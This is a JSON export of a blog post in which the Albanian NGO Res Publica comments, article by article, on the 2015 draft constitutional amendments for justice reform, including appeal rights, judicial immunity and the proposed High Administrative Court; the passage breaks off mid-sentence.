{"id":885,"date":"2015-12-01T01:37:59","date_gmt":"2015-12-01T00:37:59","guid":{"rendered":"http:\/\/www.respublica.org.al\/?p=885"},"modified":"2015-12-15T01:47:02","modified_gmt":"2015-12-15T00:47:02","slug":"komente-mbi-draft-amendamentin-e-kushtetutes","status":"publish","type":"post","link":"https:\/\/www.respublica.org.al\/web\/?p=885","title":{"rendered":"Komente mbi draft-amendamentin e Kushtetutes"},"content":{"rendered":"<p><a href=\"http:\/\/www.respublica.org.al\/wp-content\/uploads\/2015\/12\/Patch-Management.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignleft wp-image-886 size-medium\" src=\"http:\/\/www.respublica.org.al\/wp-content\/uploads\/2015\/12\/Patch-Management-300x200.jpg\" alt=\"Patch Management\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.respublica.org.al\/web\/wp-content\/uploads\/2015\/12\/Patch-Management-300x200.jpg 300w, https:\/\/www.respublica.org.al\/web\/wp-content\/uploads\/2015\/12\/Patch-Management.jpg 500w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>Qendra Res Publica eshte perfshire ne konsultimin publik per ndryshimet kushtetutese ne kuader te reformes ne drejtesi. Procesi eshte trajtuar me seriozitet nga ana e Kuuvendit duke p\u00ebrfshir\u00eb ekspert\u00eb t\u00eb nivelit t\u00eb lart\u00eb dhe duke u dh\u00ebn\u00eb mund\u00ebsin\u00eb edhe aktor\u00ebve t\u00eb tjer\u00eb t\u00eb shprehin opinionet e tyre n\u00eb lidhje me k\u00ebt\u00eb reform\u00eb.<\/p>\n<p>Materiali q\u00eb na \u00ebsht\u00eb komunikuar, me titull \u201cP\u00ebr disa ndryshime n\u00eb Ligjin nr.8417, dat\u00eb 21.10.1998 \u201cKushtetuta e Republik\u00ebs s\u00eb Shqip\u00ebris\u00eb\u201d, p\u00ebrfshin nd\u00ebrhyrjen n\u00eb shum\u00eb aspekte, n\u00eb m\u00ebnyr\u00eb t\u00eb ve\u00e7ant\u00eb n\u00eb pjes\u00ebn e sistemit gjyq\u00ebsor, bazuar mbi eksperiencat e an\u00ebtar\u00ebve t\u00eb grupit t\u00eb pun\u00ebs, si dhe studimet e m\u00ebparshme q\u00eb kan\u00eb evidentuar probleme n\u00eb k\u00ebt\u00eb sektor. Jemi t\u00eb mendimit se disa aspekte jan\u00eb trajtuar me korrektes\u00eb.<\/p>\n<p>Megjithat\u00eb, p\u00ebr disa nd\u00ebrhyrje jemi t\u00eb mendimit se mund t\u00eb sjellin regres n\u00eb krahasim me parashikimet dhe garancit\u00eb q\u00eb parashikon Kushtetuta aktualisht. Gjithashtu jemi t\u00eb mendimit q\u00eb n\u00eb draft mund t\u00eb ishin p\u00ebrfshir\u00eb edhe shum\u00eb aspekte t\u00eb tjer\u00eb t\u00eb r\u00ebnd\u00ebsish\u00ebm, duke shfryt\u00ebzuar k\u00ebt\u00eb rast t\u00eb mir\u00eb p\u00ebr nj\u00eb ndryshim m\u00eb dometh\u00ebn\u00ebs t\u00eb Kushtetut\u00ebs.<\/p>\n<p>Duke besuar se produkti i k\u00ebtyre ndryshimeve do t\u00eb rezistoj\u00eb p\u00ebr disa dekada, \u00ebsht\u00eb shum\u00eb e r\u00ebnd\u00ebsishme q\u00eb t\u00eb synohet nj\u00eb qasje m\u00eb e thell\u00eb q\u00eb mbron dhe respekton t\u00eb drejtat e njeriut n\u00eb p\u00ebrputhje me standardet m\u00eb t\u00eb mira t\u00eb koh\u00ebs dhe jo vet\u00ebm ato minimale.<\/p>\n<p>P\u00ebr k\u00ebt\u00eb arsye, Res Publica ofron kontributin e saj vet\u00ebm p\u00ebr ato aspekte q\u00eb kan\u00eb qen\u00eb n\u00eb fokusin e pun\u00ebs ton\u00eb n\u00eb 5 vitet e fundit, gjat\u00eb ofrimit t\u00eb ndihm\u00ebs ligjore n\u00eb interesin publik, duke promovuar dhe mbrojtur respektimin e t\u00eb drejtave themelore t\u00eb njeriut n\u00ebp\u00ebrmjet procesit gjyq\u00ebsor strategjik, avokimin, edukimin p\u00ebr t\u00eb drejtat e njeriut, hulumtim dhe zhvillim t\u00eb politikave.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>A. P\u00ebrsa i p\u00ebrket ndryshimeve t\u00eb p\u00ebrfshira n\u00eb projekt-ligj<\/strong><\/p>\n<p>M\u00eb posht\u00eb po japim disa mendime n\u00eb lidhje me projekt-ligjin. Referenca n\u00eb nene \u00ebsht\u00eb b\u00ebr\u00eb sipas numrit q\u00eb ata kan\u00eb n\u00eb projekt-ligj.<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li><strong>Neni 6<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 6 t\u00eb projektligjit parashikohet:<\/p>\n<p><em>Kushdo ka t\u00eb drejt\u00eb t\u00eb ankohet kund\u00ebr nj\u00eb vendimi gjyq\u00ebsor n\u00eb nj\u00eb gjykat\u00eb m\u00eb t\u00eb lart\u00eb, p\u00ebrve\u00e7se n\u00eb rastet kur vendimi i gjykat\u00ebs \u00ebsht\u00eb i form\u00ebs s\u00eb prer\u00eb. Ligji mund t\u00eb parashikoj\u00eb ndryshe n\u00eb rast t\u00eb vler\u00ebs s\u00eb pak\u00ebt (vog\u00ebl) t\u00eb objektit t\u00eb \u00e7\u00ebshtjes.<\/em><\/p>\n<p>N\u00eb lidhje me kufizimin e s\u00eb drejt\u00ebs p\u00ebr t\u00eb ankimuar vendimin, jemi t\u00eb mendimit se rastet kur kjo e drejt\u00eb mund t\u00eb kufizohet duhet t\u00eb parashikohet me ligj (Kodi i Procedurave), pasi nj\u00eb nga rastet kur nj\u00eb vendim i form\u00ebs s\u00eb prer\u00eb mund t\u00eb ankimohet \u00ebsht\u00eb kur kan\u00eb dal\u00eb prova t\u00eb reja. Kufizimi n\u00eb Kushtetut\u00eb i t\u00eb drejt\u00ebs s\u00eb ankimit kur vendimi ka marr\u00eb form\u00eb t\u00eb prer\u00eb dhe nuk lejohet n\u00eb asnj\u00eb rast, sjell c\u00ebnim t\u00eb procesit t\u00eb rregullt ligjor. Jemi t\u00eb mendimit se formulimi i k\u00ebsaj dispozit\u00eb mund t\u00eb b\u00ebhet si m\u00eb posht\u00eb:<\/p>\n<p><em>Kushdo ka t\u00eb drejt\u00eb t\u00eb ankohet kund\u00ebr nj\u00eb vendimi gjyq\u00ebsor n\u00eb nj\u00eb gjykat\u00eb m\u00eb t\u00eb lart\u00eb, p\u00ebrve\u00e7se n\u00eb rastet kur me ligj \u00ebsht\u00eb parashikuar ndryshe.\u00a0 <\/em><\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"2\">\n<li><strong>Neni 10<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 10 t\u00eb projektligjit parashikohet shfuqizimi i nenit 122 pika 3. Res Publica nuk \u00ebsht\u00eb dakort me shfuqizimin e k\u00ebsaj pike, <strong>pasi lihen jasht\u00eb detyrimit p\u00ebr tu zbatuar drejtp\u00ebrdrejt Konventat, ku Shqip\u00ebria \u00ebsht\u00eb pal\u00eb<\/strong>, si psh. Konventat e OKB, Konventa Europiane e t\u00eb Drejtave t\u00eb Njeriut etj. Jemi t\u00eb mendimit se pika 3 e nenit 122 t\u00eb Kushtetus duhet t\u00eb lihet e pandryshuar dhe se nuk interferon me shtimin e pik\u00ebs 4, e cila p\u00ebrcakton se e drejta e Bashkimit Evropian prevalon.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<ol start=\"3\">\n<li><strong>Neni 13<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 13 parashikohet:<\/p>\n<p><em>Banka e Shqip\u00ebris\u00eb n\u00eb zbatim t\u00eb marr\u00ebveshjeve me Bashkimin Evropian u delegon institucioneve t\u00eb k\u00ebtij Bashkimi kompetenca nga ato t\u00eb parashikuara n\u00eb pik\u00ebn 1 t\u00eb k\u00ebtij neni.<\/em><\/p>\n<p>Jemi dakort me k\u00ebt\u00eb rregullim, por duhet t\u00eb parashikohen disa kufizime si psh. emetimi dhe nxjerrja e monedhave duhet t\u00eb mbetet kompetenc\u00eb e Bank\u00ebs s\u00eb Shqip\u00ebris\u00eb. Formulimi i dispozit\u00ebs duhet t\u00eb b\u00ebhet n\u00eb m\u00ebnyr\u00eb t\u00eb till\u00eb q\u00eb t\u00eb p\u00ebrjashtohet emetimi i monedh\u00ebs. K\u00ebtu duhet t\u00eb kemi para sysh krahasimin midis skenarit grek dhe atij argjentinas. T\u00eb dy vendet kaluan n\u00eb nj\u00eb kriz\u00eb t\u00eb thell\u00eb financiare, me borxhe tep\u00ebr t\u00eb m\u00ebdhenj ndaj FMN etj. Argjentina arriti ta menaxhonte kriz\u00ebn n\u00ebp\u00ebrmjet zhvler\u00ebsimit t\u00eb monedh\u00ebs s\u00eb vet, t\u00eb cil\u00ebn e prodhonte dhe e qarkullonte vet\u00eb. Populli argjentinas kishte n\u00eb dispozicion pesos dhe bankat funksionuan. E kund\u00ebrta ndodhi n\u00eb Gresi gjat\u00eb vitit 2015, ku paaft\u00ebsia p\u00ebr shlyerjen e k\u00ebsteve t\u00eb radh\u00ebs ndaj trojk\u00ebs kaloi vendin n\u00eb pamund\u00ebsi t\u00eb plot\u00eb t\u00eb qarkullimit t\u00eb monedh\u00ebs. Kontrolli i kapitalit kufizoi t\u00ebrheqjen e monedh\u00ebs deri n\u00eb 60 Euro n\u00eb dit\u00eb dhe kjo situtat\u00eb zgjati pak dit\u00eb p\u00ebrpara se t\u00eb falimentonte plot\u00ebsisht. Arsyja kryesore e dor\u00ebzimit t\u00eb shtetit grek ishte fakti q\u00eb qarkullon Euron, t\u00eb cil\u00ebn nuk e prodhon dhe zhvler\u00ebson vet\u00eb, por varet nga vullneti i Bank\u00ebs Qendrore Evropiane. Kushtetuta duhet t\u00eb ruaj\u00eb sovranitetin e monedh\u00ebs shqiptare p\u00ebr aq koh\u00eb sa kjo e fundit do t\u00eb qendroj\u00eb. Mendojm\u00eb gjithashtu q\u00eb p\u00ebr k\u00ebt\u00eb aspekt do t\u00eb duhet konsultimi edhe me specialist\u00eb t\u00eb financ\u00ebs.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"4\">\n<li><strong>Neni 15<\/strong><\/li>\n<\/ol>\n<p><em>Pika 1:<\/em><\/p>\n<p>Sugjerojm\u00eb q\u00eb krijimi i nj\u00eb Gjykate t\u00eb Lart\u00eb Administrative t\u00eb mos p\u00ebrfshiet n\u00eb Kushtetut\u00eb, pra q\u00eb n\u00eb fillim jemi kund\u00ebr krijimit t\u00eb nj\u00eb Gjykate t\u00eb Lart\u00eb Administrative. Mendoj se seksioni administrativ q\u00eb operon aktualisht n\u00eb Gjykat\u00eb t\u00eb Lart\u00eb mund t\u00eb p\u00ebrmbush\u00eb nevoj\u00ebn e gjykimeve administrative. K\u00ebshtu edhe n\u00eb baz\u00eb t\u00eb ligjit Nr.8588, dat\u00eb 15.3.2000 \u201cP\u00ebr Organizimin dhe Funksionimin e Gjykat\u00ebs s\u00eb Lart\u00eb t\u00eb Republik\u00ebs s\u00eb Shqip\u00ebris\u00eb\u201d Ndryshuar me ligjin nr.151\/2013, dat\u00eb 30.5.2013) (Ndryshuar me ligjin nr.177\/2014, dat\u00eb 18.12.2014) Neni 12 Kompetencat e kolegjeve (Ndryshuar me ligjin nr.151\/2013, dat\u00eb 30.5.2013) pika 3.\u201d\u00c7\u00ebshtjet me karakter administrativ dhe t\u00eb pun\u00ebs gjykohen nga Kolegji Administrativ.\u201d Nuk besojm\u00eb se problemi lidhet me faktin q\u00eb aktualisht nuk ekzistojn\u00eb kapacitete gjyq\u00ebsore p\u00ebr t\u00eb ezauruar nevoj\u00ebn p\u00ebr gjykime administrative. Mendojm\u00eb se p\u00ebr t\u00eb gjykuar k\u00ebto \u00e7\u00ebshtje \u00ebsht\u00eb i nevojsh\u00ebm nj\u00eb organizim m\u00eb i mir\u00eb n\u00eb proceset gjyq\u00ebsore dhe \u00e7\u00ebshtjet q\u00eb p\u00ebrzgjidhen dhe seleksionohen p\u00ebr tu gjykuar n\u00eb Gjykat\u00ebn e Lart\u00eb si edhe ndarja e pun\u00ebs. P\u00ebrndryshe do t\u00eb duhej t\u00eb kishim nga nj\u00eb Gjykat\u00eb t\u00eb Lart\u00eb p\u00ebr seicilin prej seksioneve t\u00eb gjykimit q\u00eb sot ekzistojn\u00eb brenda Gjykat\u00ebs s\u00eb Lart\u00eb, si p\u00ebr shembull nj\u00eb Gjykat\u00eb t\u00eb Lart\u00eb Administrative, nj\u00eb Gjykat\u00eb t\u00eb Lart\u00eb Civile dhe nj\u00eb Gjykat\u00eb t\u00eb Lart\u00eb Penale, apo edhe nj\u00eb Gjykat\u00eb t\u00eb Lart\u00eb p\u00ebr Krimet e R\u00ebnda, etj, q\u00eb do t\u00eb ishte pa sens.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"5\">\n<li><strong>Neni 16<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 16 t\u00eb projektligjit parashikohet m\u00ebnyra e em\u00ebrimit t\u00eb gjyqtar\u00ebve t\u00eb Gjykat\u00ebs Kushtetuese. Jemi t\u00eb mendimit q\u00eb procedura e em\u00ebrimit t\u00eb gjyqtar\u00ebve t\u00eb Gjykat\u00ebs Kushtetuese duhet t\u00eb parashikohet n\u00eb Kushtetut\u00eb dhe jo t\u00eb parashikohet me ligj, pasi kjo mund\u00ebson cenimin e pavarsis\u00eb dhe balancimit t\u00eb pushteteve m\u00eb leht\u00eb.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"6\">\n<li><strong>Neni 17<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 17 parashikohet imuniteti i gjyqtar\u00ebve t\u00eb Gjykat\u00ebs Kushtetuese.<\/p>\n<p><em>\u201cGjyqtari i Gjykat\u00ebs Kushtetuese g\u00ebzon imunitet p\u00ebr mendimet e shprehura dhe vendimet e marra n\u00eb ushtrimin e funksioneve t\u00eb tij\u201d.<\/em><\/p>\n<p>Ndryshimet n\u00eb k\u00ebt\u00eb nen sjellin mbrojtjen e gjyqtar\u00ebve vet\u00ebm n\u00eb lidhje me mendimet e shprehura dhe vendimet, por nuk parashikohet asnj\u00eb mbrojtje e posacme nga procedimi penal i q\u00ebllimsh\u00ebm. Jemi t\u00eb mendimit q\u00eb p\u00ebr t\u00eb pasur gjyqtar\u00eb t\u00eb pavarur, t\u00eb paansh\u00ebm \u00ebsht\u00eb e domosdoshm\u00eb parashikimi i disa garancive n\u00eb nivel Kushtetues. Res Publica shpreh mendimin q\u00eb gjytar\u00ebve nuk mund ti hiqet imuniteti q\u00eb ata g\u00ebzojn\u00eb aktualisht ndaj procedimeve penale.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"7\">\n<li><strong>Neni 18<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 18 parashikohet:<\/p>\n<p><em>An\u00ebtari i Gjykat\u00ebs Kushtetuese mban p\u00ebrgjegj\u00ebsi disiplinore sipas ligjit.<\/em><\/p>\n<p>Sipas k\u00ebsaj dispozite parashikohet se an\u00ebtaret e Gjykat\u00ebs Kushtetuese mbajn\u00eb p\u00ebrgjegj\u00ebsi disiplinore, por nuk parashikohet asnj\u00eb garanci p\u00ebr shkakrkimin e tyre nga detyra. Jemi t\u00eb mendimit q\u00eb m\u00ebnyra dhe rastet e shkarkimit t\u00eb gjyqtar\u00ebve t\u00eb Gjykat\u00ebs Kushtetuese duhet t\u00eb parashikohen n\u00eb Kushtetut\u00eb. Res Publica shpreh mendimin q\u00eb neni 128 i Kushtetut\u00ebs duhet t\u00eb mbetet i pandryshuar.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"8\">\n<li><strong>Neni 21<\/strong><strong>\u00a0<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 21 parashikohet:<\/p>\n<p><em>Qenia gjyqtar i Gjykat\u00ebs Kushtetuese nuk pajtohet me asnj\u00eb veprimtari tjet\u00ebr profesionale q\u00eb ushtrohet kundrejt pages\u00ebs, p\u00ebrvecc kur parashikohet ndryshe ne ligj.<\/em><\/p>\n<p>Dispozita e m\u00ebsip\u00ebrme \u00ebsht\u00eb e paqart\u00eb pasi qenia gjytar nuk pajtohet me veprimtari profesionale. K\u00ebshtu, gjyqtarit nuk i lejohet t\u00eb ushtroj\u00eb veprimtari akademike, nd\u00ebrkoh\u00eb q\u00eb i lejohet t\u00eb ushtroj\u00eb cdo aktivitet q\u00eb \u00ebsht\u00eb jasht\u00eb profesionit, ose edhe brenda tij n\u00ebse b\u00ebhet pa pages\u00eb. Jemi t\u00eb mendimit q\u00eb dispozitat q\u00eb parashikojn\u00eb papajtueshm\u00ebrin\u00eb p\u00ebr shkak t\u00eb detyr\u00ebs s\u00eb gjyqtar\u00ebve t\u00eb riformulohen. P\u00ebr ta reduktuar n\u00eb nj\u00eb shembull konkret: A mundet q\u00eb nj\u00eb gjyqtar i Gjykat\u00ebs Kushtetuese t\u00eb ofroj\u00eb ndihm\u00eb ligjore pro bono? A mundet q\u00eb ai\/ajo t\u00eb zot\u00ebroj\u00eb aksione\/kuota n\u00eb nj\u00eb shoq\u00ebri tregtare, p\u00ebr zot\u00ebrimin e t\u00eb cilave nuk nevojitet t\u00eb ushtrohet asnj\u00eb veprim aktiv profesional? A mundet q\u00eb ai\/ajo t\u00eb merret me veprimtari tregtare, p\u00ebr shembull me transaksione t\u00eb pasuris\u00eb s\u00eb paluajtshme, letrave me vler\u00eb, etj?<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"9\">\n<li><strong>Neni 27<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 27 t\u00eb projektligjit parashikohet se pushteti gjyq\u00ebsor do t\u00eb ushtrohet nga Gjykata e Lart\u00eb, Gjykata e Lart\u00eb Administrative, si dhe nga gjykata e apelit e gjykata e shkall\u00ebs s\u00eb par\u00eb, t\u00eb cilat krijohen me ligj. Res Publica mban q\u00ebndrimin se nuk \u00ebsht\u00eb e domosdoshme ngritja e nj\u00eb gjykate t\u00eb Lart\u00eb Administrative paralele me Gjykat\u00ebn e Lart\u00eb, pasi kjo e fundit ka n\u00eb p\u00ebrb\u00ebrje Kolegjin Administrativ, nj\u00eblloj si Kolegjin Civil dhe at\u00eb Penal. P\u00ebr m\u00eb shum\u00eb, referojuni pik\u00ebs 4 m\u00eb lart.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"10\">\n<li><strong>Neni 29<\/strong><em>\u00a0<\/em><\/li>\n<\/ol>\n<p>N\u00eb k\u00ebt\u00eb nen parashikohet imuniteti i gjyqtar\u00ebve ndaj mendimeve t\u00eb shprehura dhe vendimeve t\u00eb marra. Ashtu sicc jemi shprehur m\u00eb lart, n\u00eb k\u00ebt\u00eb nen \u00ebsht\u00eb shfuqizuar pjesa e imunitetit t\u00eb gjyqtar\u00ebve nga procedimi penal. Mos parashikimi n\u00eb nivel Kushtetues t\u00eb imunitetit ndaj procedimeve penale t\u00eb gjyqtar\u00ebve, c\u00ebnon parimin e pavar\u00ebsis dhe paanshm\u00ebris\u00eb s\u00eb pushtetit gjyq\u00ebsor. Res Publica mban q\u00ebndrimin se nenin 137 i Kushtetut\u00ebs duhet t\u00eb mbetet i pandryshuar.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"11\">\n<li><strong>Nenet 31, 32<\/strong><\/li>\n<\/ol>\n<p>Shprehim mendimin q\u00eb nuk duhet t\u00eb ket\u00eb disa organe em\u00ebrtese, por t\u00eb jet\u00eb vet\u00ebm Presidenti i Republik\u00ebs. Ky organ p\u00ebrfaq\u00ebson nj\u00eb pik\u00eb kulmore se ku takohen tre shtyllat kryesore t\u00eb pushteteve, legjislativ, ekzekutiv dhe gjyq\u00ebsor. Caktimi i organeve t\u00eb tjer\u00eb t\u00eb em\u00ebrtes\u00ebs do t\u00eb sillte krijimin e mund\u00ebsive efektive t\u00eb cenimi t\u00eb ndarjes dhe balancimit t\u00eb pushteteve.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"12\">\n<li><strong>Neni 40<\/strong><\/li>\n<\/ol>\n<p><em>Pika 3<\/em><\/p>\n<p>Ashtu si edhe m\u00eb sip\u00ebr edhe tek ky nen, ve\u00e7an\u00ebrisht pika 3, \u00ebsht\u00eb pjes\u00eb e procedur\u00ebs q\u00eb zakonisht rregullohet nga ligjet p\u00ebrkat\u00ebse organike p\u00ebr organizmin dhe funksionimin e nj\u00eb institucioni q\u00eb si\u00e7 \u00ebsht\u00eb n\u00eb k\u00ebt\u00eb rast K\u00ebshilli i Lart\u00eb Gjyq\u00ebsor. N\u00eb Kushtetut\u00eb nuk mund t\u00eb jepen detajime dhe organizime strukturash. T\u00eb tilla funksione ne i shohim n\u00eb ligjet t\u00eb tilla si ligji Nr.8811, dat\u00eb 17.5.2001 \u201cP\u00ebr organizimin dhe funksionimin e K\u00ebshillit t\u00eb Lart\u00eb t\u00eb Drejt\u00ebsis\u00eb\u201d (Ndryshuar me ligjin nr.9448, dat\u00eb 5.12.2005) (Ndryshuar me ligjin nr.101\/2014) ku n\u00eb Nenin 2 \u201cDetyrat e K\u00ebshillit t\u00eb Lart\u00eb t\u00eb Drejt\u00ebsis\u00eb\u201d p\u00ebrcaktohen qart\u00eb detyrat e k\u00ebtij organi. P\u00ebr m\u00eb tep\u00ebr q\u00eb kjo dispozit\u00eb k\u00ebshtu si\u00e7 \u00ebsht\u00eb parashikuar k\u00ebtu \u00ebsht\u00eb dispozit\u00eb konfuze dhe e nd\u00ebrlikuar p\u00ebr nj\u00eb zbatim efektiv n\u00eb praktik\u00eb.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"13\">\n<li><strong>Neni 45<\/strong><\/li>\n<\/ol>\n<p>Edhe n\u00eb k\u00ebt\u00eb nen v\u00ebrehet e nj\u00ebjta problematik\u00eb e teknik\u00ebs legjislative. K\u00ebshtu, edhe k\u00ebtu jan\u00eb p\u00ebrfshira n\u00eb projekt-ligj nenet teknike q\u00eb u p\u00ebrkasin procedurave t\u00eb detajuara q\u00eb jan\u00eb objekt rregullimi nga disa ligje p\u00ebr organizim dhe funksionim apo p\u00ebr inspektimin si\u00e7 \u00ebsht\u00eb ligji Nr. 9877, dat\u00eb 18.2.2008 \u201dP\u00ebr organizmin e Pushtetit Gjyq\u00ebsor n\u00eb Republik\u00ebn e Shqip\u00ebris\u00eb\u201d, nd\u00ebrkoh\u00eb q\u00eb k\u00ebto ligje kan\u00eb objekt specifik dhe rregullues lidhur me nj\u00eb organ n\u00eb ve\u00e7anti apo pushteti n\u00eb p\u00ebrgjith\u00ebi, si\u00e7 \u00ebsht\u00eb edhe ai gjyq\u00ebsor.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"14\">\n<li><strong>Neni 49<\/strong><\/li>\n<\/ol>\n<p>Edhe p\u00ebr Tribunalin Disiplinor t\u00eb Drejt\u00ebsis\u00eb jemi t\u00eb mendimit se ekzistojn\u00eb probleme n\u00eb p\u00ebrfshirjen e k\u00ebtyre detajeve rregullatoro-formatuese t\u00eb funksionimit organit kolegjal p\u00ebrmes p\u00ebrcaktimesh detyrash konkrete kur vete pika 4 e nenit 147\/f p\u00ebrcakton:\u201cOrganizimi dhe funksionimi i Tribunalit Disiplinor t\u00eb Drejt\u00ebsis\u00eb rregullohet me ligj\u201d. Edhe n\u00eb k\u00ebt\u00eb dispozit\u00eb do t\u00eb sillnim si shembull nj\u00eb ligj rregullator q\u00eb e kryen m\u00eb s\u00eb miri funksionin edhe duke mos q\u00ebn\u00eb i p\u00ebrfshir\u00eb n\u00eb Kushtetut\u00eb. Konkretisht \u00ebsht\u00eb ligji Nr. 8811, dat\u00eb 17.5.2001 \u201cP\u00ebr organizimin dhe funksionimin e K\u00ebshillit t\u00eb Lart\u00eb t\u00eb Drejt\u00ebsis\u00eb\u201d (Ndryshuar me ligjin nr. 9448, dat\u00eb 5.12.2005)<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"15\">\n<li><strong>Neni 51<\/strong><\/li>\n<\/ol>\n<p>Edhe p\u00ebr K\u00ebshillin e Lart\u00eb t\u00eb Prokuroris\u00eb kemi t\u00eb nj\u00ebjtin problem t\u00eb p\u00ebrs\u00ebritur. Ve\u00e7an\u00ebrsht pikat 2, 3, 6, ku parashikohen p\u00ebrcaktime t\u00eb mekanizmave funksionale e strukturore si edhe formula konkrete formatimi t\u00eb nj\u00eb organi kolegjal. Si t\u00eb tilla, formatimet e k\u00ebtyre organeve rregullohen ose me ligj t\u00eb p\u00ebrgjithsh\u00ebm si\u00e7 \u00ebsht\u00eb ligji Nr. 8480, dat\u00eb 27.5.1999 \u201cP\u00ebr funksionimin e organeve kolegjiale t\u00eb adminisrtat\u00ebs shtet\u00ebrore dhe t\u00eb enteve publike\u201d n\u00eb t\u00eb cilin n\u00eb Neni 1 &#8211; P\u00ebrkufizime &#8211; parashikohet: \u201dOrgane kolegjiale te administrates shteterore dhe te enteve publike ne kuptimin e ketij ligji, do te quhen te gjitha ato subjekte te se drejtes publike te cilat e ushtrojne veprimtarine e tyre ekzekutive vendimarrese ne menyre kolegjiale\u201d. Ose mund t\u00eb krijohen ligje organik\u00eb p\u00ebr institucionet kolegjale kushtetuese ku t\u00eb p\u00ebrcaktohen n\u00eb m\u00ebnyr\u00eb t\u00eb detajuar forma, struktura, funksionimi, organizimi dhe zgjedhjet n\u00eb k\u00ebto organe. Praktika t\u00eb tilla tashm\u00eb njihen dhe jan\u00eb m\u00ebse t\u00eb p\u00ebrcaktuara dhe fuksionojn\u00eb, duke sjell\u00eb k\u00ebtu \u00a0sh\u00ebmbullin e ligjit Nr. 8811, dat\u00eb 17.5.2001 \u201cP\u00ebr organizimin dhe funksionimin e K\u00ebshillit t\u00eb Lart\u00eb t\u00eb Drejt\u00ebsis\u00eb\u201d (Ndryshuar me ligjin nr.9448, dat\u00eb 5.12.2005) (Ndryshuar me ligjin nr.101\/2014).<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"16\">\n<li><strong>Neni 53<\/strong><\/li>\n<\/ol>\n<p>Tendencat p\u00ebr t\u00eb luftuar korrupsionin dhe p\u00ebrpjekjet p\u00ebr t\u00eb ngritur organe p\u00ebrkat\u00ebse t\u00eb specializuar p\u00ebr k\u00ebt\u00eb q\u00ebllim nuk duhet t\u00eb b\u00ebj\u00eb ndryshimin e thelbit t\u00eb Kushtetut\u00ebs duke p\u00ebrfshir\u00eb formacione juridike si\u00e7 \u00ebsht\u00eb rasti i struktur\u00ebs s\u00eb posa\u00e7me Anti-Korrupsion q\u00eb n\u00eb thelb nuk jan\u00eb organe kushtetuese, por pjes\u00eb p\u00ebrb\u00ebr\u00ebse t\u00eb k\u00ebtyre institucione. Neni 148 pika 3 e Kushtetut\u00ebs p\u00ebrcakton qart\u00eb sesi ushtrohen kompetencat e k\u00ebtij organi kushtetues. Konkretisht thuhet: <em>\u201cN\u00eb ushtrimin e kompetencave t\u00eb tyre prokuror\u00ebt u n\u00ebnshtrohen Kushtetut\u00ebs dhe ligjeve\u201d<\/em>. N\u00eb ligjin p\u00ebrkat\u00ebs organik Nr. 8737, dat\u00eb 12.2.2001 \u201cP\u00ebr organizimin dhe funksionimin e Prokuroris\u00eb n\u00eb Republik\u00ebn e Shqip\u00ebris\u00eb\u201d (Ndryshuar me ligjin nr.9102, dat\u00eb 10.7.2003) (Ndryshuar me ligjin nr.10 051, date 29.12.2008) neni 1 objekti ligjit pika a thuhet: <em>\u201cObjekti i k\u00ebtij ligji \u00ebsht\u00eb:\u00a0 p\u00ebrcaktimi i rregullave t\u00eb organizimit dhe t\u00eb funksionimit t\u00eb Prokuroris\u00eb n\u00eb Republik\u00ebn e Shqip\u00ebris\u00eb\u201d<\/em>. Pra \u00ebsht\u00eb pik\u00ebrisht ky ligj q\u00eb mund t\u00eb p\u00ebrcaktoj\u00eb qart\u00eb struktura t\u00eb posa\u00e7me Anti-Korrupsion, si edhe prokuror\u00ebt q\u00eb do t\u00eb p\u00ebrfshihen n\u00eb k\u00ebt\u00eb struktur\u00eb t\u00eb posa\u00e7me.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"17\">\n<li><strong>Neni 54<\/strong><\/li>\n<\/ol>\n<p><em>Pika 2<\/em><\/p>\n<p>\u00cbsht\u00eb e paqart\u00eb lidhur me formimin akademik q\u00eb duhet t\u00eb ket\u00eb kandidati p\u00ebr Prokuror t\u00eb P\u00ebrgjithsh\u00ebm. N\u00eb k\u00ebt\u00eb nen p\u00ebrcaktohet:<em> \u201c\u2026ose q\u00eb kan\u00eb kryer s\u00eb paku studime pasuniversitare t\u00eb nivelit t\u00eb par\u00eb n\u00eb nj\u00eb unviveristet t\u00eb shquar brenda ose jasht\u00eb Shqip\u00ebris\u00eb\u2026\u201d<\/em> Termi i p\u00ebrdorur \u201cuniveristet i shquar\u201d brenda ose jasht\u00eb Shqip\u00ebris\u00eb duhet t\u00eb jet\u00eb i p\u00ebrcaktuar sakt\u00eb dhe n\u00eb m\u00ebnyr\u00eb t\u00eb qart\u00eb. \u00cbsht\u00eb e nevojshme vendosja e kritereve t\u00eb vler\u00ebsimit t\u00eb institucioneve arsimore dhe atyre akademike me q\u00ebllim q\u00eb t\u00eb p\u00ebrbushin ligj\u00ebrisht termin \u201ct\u00eb shquar\u201d. K\u00ebshtu Ministria e Ar\u00ebsimit dhe Shkenc\u00ebs duhet t\u00eb kontribuoj\u00eb me an\u00eb t\u00eb standartizimit prej specialist\u00ebve t\u00eb saj n\u00eb p\u00ebrcaktimin e k\u00ebtyr\u00eb kritereve konkrete me q\u00ebllim b\u00ebrjen e dallimit midis 